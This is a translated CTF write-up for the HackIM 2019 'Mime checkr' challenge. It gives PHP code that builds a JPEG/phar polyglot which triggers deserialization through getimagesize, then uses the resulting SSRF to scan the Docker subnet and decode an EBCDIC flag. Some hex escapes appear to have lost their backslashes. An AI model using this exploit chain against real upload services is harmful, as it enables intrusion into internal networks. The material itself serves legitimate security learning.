HackIM 2019-Mime checkr
- 2019 年 10 月 8 日
- 筆記
原文地址:http://www.mohamed-chamli.me/blog/hackim%202019/Mimecheckr
前言
大家好,這次我挑戰了Nullcon HackIM 2019,這真的是一個令人驚嘆的CTF比賽,所有的web題目都有一些比較難的新技術,需要更多的知識來破解它。
無論如何,我們盡了我們最大的努力去完成所有的WEB題目,雖然沒有完成最後一道題,但是我們儘力了。

所以讓我們開始講解這道500分題目 mime checkr
的解題思路。

資訊搜集
當你拿到一個WEB題目的時候,首先想到的應該總是做一下資訊搜集(爆破網站的目錄和文件&埠掃描)
所以我快速啟動dirsearch來檢查目錄和隱藏文件,但是沒有結果,我們所知道的是有兩個文件 /upload.php
& /getmime.php
以及我們上傳文件的文件夾 /uploads
。

讓我們看看我們能在這裡做什麼

- 1、可以上傳文件"只可以是圖片",並且我們能夠獲得一個random_name.jpeg 例如:0e98960a815d51af41f10ab6f4642753.jpeg
- 2、可以通過發送文件的路徑例如:uploads/0e98960a815d51af41f10ab6f4642753.jpeg來檢查文件的mime type。
這時候我們知道程式碼中應該有一些被忽略的東西能夠攻破這個應用。
目前我們能做什麼,我們能夠通過添加簡單的圖片文件頭(jpg / gif ..)來繞過驗證下載圖片,並上傳我們我們想要的php程式碼。但我們仍然不能控制文件後綴名以至於不會給我們任何結果。
因此,如果我們在任何文件的文件頭添加 GIF89a;
並且內容是php程式碼,我們會得到下載的文件。
但是正如我們所說的,在我們能夠控制 php5.3.4
上修復的擴展類型(不能利用空位元組注入)之前,這是不可能的。
我們找不到解決辦法並且只有三個小時的時間來完成這個糟糕的任務!
得到關鍵源碼
在那一刻我們開始重新尋找隱藏文件!用http-backup-finder腳本啟動nmap,也許我們可以得到一些東西(希望如此)。
using : nmap --script=http-backup-finder 159.65.158.100
是的,我們得到了一些東西 :D
,那裡有備份文件 /getmime.bak
,我們真的錯過了這個文件。
讓我們繼續!沒有更多的時間了,我們需要利用它。

<?php //error_reporting(-1); //ini_set('display_errors', 'On'); class CurlClass{ public function httpGet($url) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); // curl_setopt($ch,CURLOPT_HEADER, false); $output=curl_exec($ch); curl_close($ch); return $output; } } class MainClass { public function __destruct() { $this->why =new CurlClass; echo $this->url; echo $this->why->httpGet($this->url); } } getimagesize("phar://test.jpg"); ?>
OK,我們從這裡繼續! 現在沒什麼奇怪的,因為我們不能控制 httpGet
,我們無法在那裡利用SSRF!但是在BlackHat 2018活動中,@snt & @orange8361 提出了一種利用phar文件觸發反序列化的技術。(點擊這裡:https://www.youtube.com/watch?v=PqsudKzs79c)
phar反序列化
因此,即使沒有反序列化操作,使用這個技術我們也可以實現反序列化漏洞。 使用下面簡單的程式碼意味著我們可以使用非實例化類來設置phar文件的元數據。
<?php $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("<?php __HALT_COMPILER(); ? >"); class MainClass {} $object = new MainClass; $object->url = 'http://my_server_ip'; $phar->setMetadata($object); $phar->stopBuffering(); ?>
我們創建了phar文件,這意味著如果我們可以做到 getimagesize('phar://some/phar.jpg');
,那麼我們就可以觸發 __destruct
方法。 (是的,我們可以這樣做,因為源程式碼使用getimagesize來檢查文件的mime類型)。
在 getmime.php
中有 MainClass
調用 httpget($url)
,這意味著如果我們可以調用 __destruct
,我們就能夠控制 httpGet()
。 是的,我們已經可以用SSRF來攻擊它了!
讓我們現在開始破解它吧,但是等一下,我們需要一個有效的phar文件,這意味著我們必須將phar隱藏為一個圖片。
<?php $jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13". "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02". "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15". "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14". "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01". "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03". "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11". "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20". "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda". "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class MainClass {} $object = new MainClass; $object->url = 'http://my_server_ip'; $phar->setMetadata($object); $phar->stopBuffering(); rename("test.phar","fake_iamge.jpg"); ?>
是的,如果我們在本地進行測試,它是有效的

它同時是一個有效的圖片文件和phar文件。第一步已經完成了。 下一步,需要收集內網資訊,管理員已經說過它是一個容器(Docker)。
內網探測
所以需要檢查docker默認子網,並看看那裡是否有隱藏的應用! 在安裝docker時,默認情況下,它將創建一個橋接介面docker0,其中包含一個用於容器網路的子網172.17.0.0/16
意味著某一個地址會給我們返回一些結果。 以http://172.17.0.1作為url開始測試
<?php $jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13". "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02". "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15". "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14". "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01". "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03". "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11". "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20". "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda". "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class MainClass {} $object = new MainClass; $object->url = 'http://172.17.0.1'; $phar->setMetadata($object); $phar->stopBuffering(); rename("test.phar","fake_iamge.jpg"); ?>
對Mime檢查post數據 phar://uploads/file_name.jpeg
給我們返回了同樣的web應用。

所以 172.17.0.1
== web題目,需要挖掘更多並找到一些別的東西。 172.17.0.2給了我們下一步的新提示 Change url :
$object->url = 'http://172.17.0.2';
返回給了我們一些東西不可列印的東西,使用程式碼頁面的字符集,瀏覽器無法把它渲染回來。

File is not an image. http://172.17.0.2b'xc8x85x93x93x96@ax86x85xa3x83x88xa1lxadxbd_|]M@@x94x85'
爆破字符集
我們需要爆破所有可能的字符集並獲得結果,我們使用CPXXX編碼字符集獲得了一些清楚的文本。

看起來像是 Hello/fetch~』string-garbage』me
。 所以這裡我們只需要嘗試使用其中一個結果(編碼的數據)並再次發送SSRF請求 讓我們試試CP1047 Hello/fetch~%[]^@)(me
,URL編碼為 /%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28
(否則伺服器會告訴我們這是一個錯誤的請求)。
<?php $jpeg_header_size = "xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13". "x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02". "x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15". "x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14". "x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01". "xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03". "x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11". "x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20". "xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00". "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda". "x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9"; $phar = new Phar("test.phar"); $phar->startBuffering(); $phar->addFromString("test.txt","test"); $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>"); class MainClass {} $object = new MainClass; $object->url = 'http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28'; $phar->setMetadata($object); $phar->stopBuffering(); rename("test.phar","fake_image.jpeg"); ?>
我們得到了一個結果

File is not an image. http://172.17.0.2/%66%65%74%63%68%7e%25%5b%5d%5e%40%29%28b'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
所以我們最後一步是使用 CP1047
解碼 'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'
import ebcdic url = 'xc6x93x81x87xc0xd7xc8xd7mxe2xa3x99x85x81x94xa2mx81x99x85mxa3xf0xf0mxd4x81x89x95xe2xa3x99x85x81x94xf0xd0'.decode("cp1047") print url
Yesss,我們得到了flag。
Flag{PHP_Streams_are_t00_MainStream0}
後記
真的是一個很好的題目,在完成它的不同步驟中,最後一步對我們來說真的很奇怪。 順便說一句,這個任務只有4個團隊才能解決,很高興我們的團隊是其中之一。
